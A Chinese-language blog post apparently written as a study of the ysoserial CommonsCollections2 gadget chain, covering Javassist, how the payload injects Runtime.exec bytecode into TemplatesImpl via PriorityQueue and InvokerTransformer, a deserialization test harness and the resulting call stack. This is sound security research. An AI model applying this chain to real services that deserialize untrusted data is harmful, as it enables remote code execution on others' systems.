简介

分析完了CommonsCollections1,就接着分析下CommonsCollections2

测试环境:

  • commons-collections-4.0
  • java version "1.8.0_112"

分析目标命令:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"

下载Ysoserial源码:

git clone https://github.com/frohoff/ysoserial.git

IDEA打开pom.xml,导入为maven项目。

小知识

javassist

javassist是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。

Ysoserial在生成Payload中也是使用的javassist类库。

几个重要的Javassist类对象:

  • ClassPool:一个基于Hashtable实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象。

  • CtClassCtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPool获得。

  • CtMethods:表示类中的方法。

  • CtFields:表示类中的字段。

创建ClassPool对象

//ClassPool pool = new ClassPool(true);
ClassPool pool = ClassPool.getDefault();

使用的是默认系统的类搜索路径获取ClassPool对象

添加类搜索路径

pool.insertClassPath(new ClassClassPath(this.getClass()));
//pool.insertClassPath("/usr/local/javalib");

将类搜索路径插入到搜索路径,或者将目录作为类搜索路径

查找并获取CtClass对象

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");

依据keyHash表中查找对应的CtClass对象

CtClass可被修改

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
ctClass.setSuperclass(pool.get("XXXXXX"));

修改并设置父类

byte[] b = ctClass.toBytecode();

获取修改后的字节码

Class clazz = ctClass.toClass();

转换成Class对象

优先级队列 PriorityQueue

PriorityQueue一个基于优先级的无界优先级队列。

优先级队列的元素按照其自然顺序进行排序,放入PriorityQueue的元素,必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级;或者根据构造队列时提供的Comparator进行排序,元素就不必实现Comparable接口,具体取决于所使用的构造方法。

/**
     * Creates a {@code PriorityQueue} with the specified initial capacity
     * that orders its elements according to the specified comparator.
     *
     * @param  initialCapacity the initial capacity for this priority queue
     * @param  comparator the comparator that will be used to order this
     *         priority queue.  If {@code null}, the {@linkplain Comparable
     *         natural ordering} of the elements will be used.
     * @throws IllegalArgumentException if {@code initialCapacity} is
     *         less than 1
     */
    public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

调试Ysoserial

根据目标命令确定入口文件为GeneratePayload.class

ysoserial.GeneratePayload#main

然后传入CommonsCollections2调用Utils.getPayloadClass

ysoserial.payloads.ObjectPayload.Utils#getPayloadClass

加载ysoserial.payloads.CommonsCollections2类并返回,调用newInstance实例化,然后对象调用getObject生成Payload。

ysoserial.payloads.CommonsCollections2#getObject

调用Gadgets.createTemplatesImpl并传入预想执行的命令。

ysoserial.payloads.util.Gadgets#createTemplatesImpl(java.lang.String)

继续调用构造函数createTemplatesImpl

class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

使用Javassist生成Payload,创建ClassPool对象并添加两个类搜索路径:

  • class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

  • ysoserial.payloads.util.Gadgets

ysoserial.payloads.util.Gadgets.StubTransletPayload

StubTransletPayload继承AbstractTranslet类。

回到TemplatesImpl,分析过程如下:

  1. 无参数实例化class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。
  2. 利用Javassist获取StubTransletPayload类字节码。
  3. 创建通过java.lang.Runtime.getRuntime().exec()执行命令的java代码的字符串。
  4. 获取StubTransletPayload类构造函数的字节码,并新增恶意命令的字节码到构造函数字节码中。
  5. 在利用Javassist设置StubTransletPayload父类为class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,但这一步其实已经重复(StubTransletPayload定义时已经继承),可能是为了代码优雅。
  6. toBytecode()获取修改后的StubTransletPayload类字节码,通过反射放入class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类实例的_bytecodes成员中,并完善其他成员,然后返回到getObject

ysoserial/payloads/CommonsCollections2.java:35

创建InvokerTransformer实例,并作为参数传入TransformingComparator类的构造函数。

org.apache.commons.collections4.comparators.TransformingComparator#TransformingComparator(org.apache.commons.collections4.Transformer<? super I,? extends O>)

org.apache.commons.collections4.comparators.TransformingComparator#TransformingComparator(org.apache.commons.collections4.Transformer<? super I,? extends O>, java.util.Comparator<o>)</o>

TransformingComparator类实例中的transformer成员存储InvokerTransformer实例,TransformingComparator类实例又作为参数传入PriorityQueue

java.util.PriorityQueue#PriorityQueue(int, java.util.Comparator<? super E>)

TransformingComparator类实例存储在PriorityQueuecomparator成员中

ysoserial/payloads/CommonsCollections2.java:44

通过反射修改InvokerTransformer实例中的iMethodName成员为newTransformer

ysoserial/payloads/CommonsCollections2.java:47

通过反射获取PriorityQueue实例的queue数组成员,并将TemplatesImpl类实例放入成员数组,最后返回PriorityQueue对象,序列化后输出作为payload。

java.util.PriorityQueue#siftDown

Gadget chain

maven依赖:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

测试代码:

package test;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Queue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class commonscollections2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        FileInputStream fis = null;
        //fis = new FileInputStream("src/test/java/test/test.ser");
        fis = new FileInputStream("/Users/rai4over/Desktop/ysoserial/test.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
}

作者给出的:

/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

java.util.PriorityQueue#readObject

PriorityQueue重写了readObject,首先通过defaultReadObject执行默认的反序列化操作

java.util.PriorityQueue#queue

queue成员本来被transient修饰,不能默认反序列化,但自定义通过循环设置成员数组queue,此时两个关键成员:

java.util.PriorityQueue#heapify

进入heapify进行排序,循环遍历成员数组queueTemplatesImpl实例作为参数传入siftDown

java.util.PriorityQueue#siftDownUsingComparator

org.apache.commons.collections4.comparators.TransformingComparator#compare

org.apache.commons.collections4.functors.InvokerTransformer#transform

通过反射调用TemplatesImpl类中的newTransformer方法

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses

在循环中通过loader.defineClass加载恶意字节码到_class成员,回到上层函数,_class[_transletIndex].newInstance()进行实例化,完成命令执行,函数调用栈:

exec:347, Runtime (java.lang)
<clinit>:-1, Pwner71837519276875 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:14, commonscollections2 (test)

参考

https://www.jianshu.com/p/43424242846b

https://www.cnblogs.com/chiangchou/p/javassist.html#_label1

https://www.jianshu.com/p/c577796e537a

https://y4er.com/post/ysoserial-commonscollections-2/

https://xz.aliyun.com/t/1756

https://www.liaoxuefeng.com/wiki/1252599548343744/1265120632401152

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖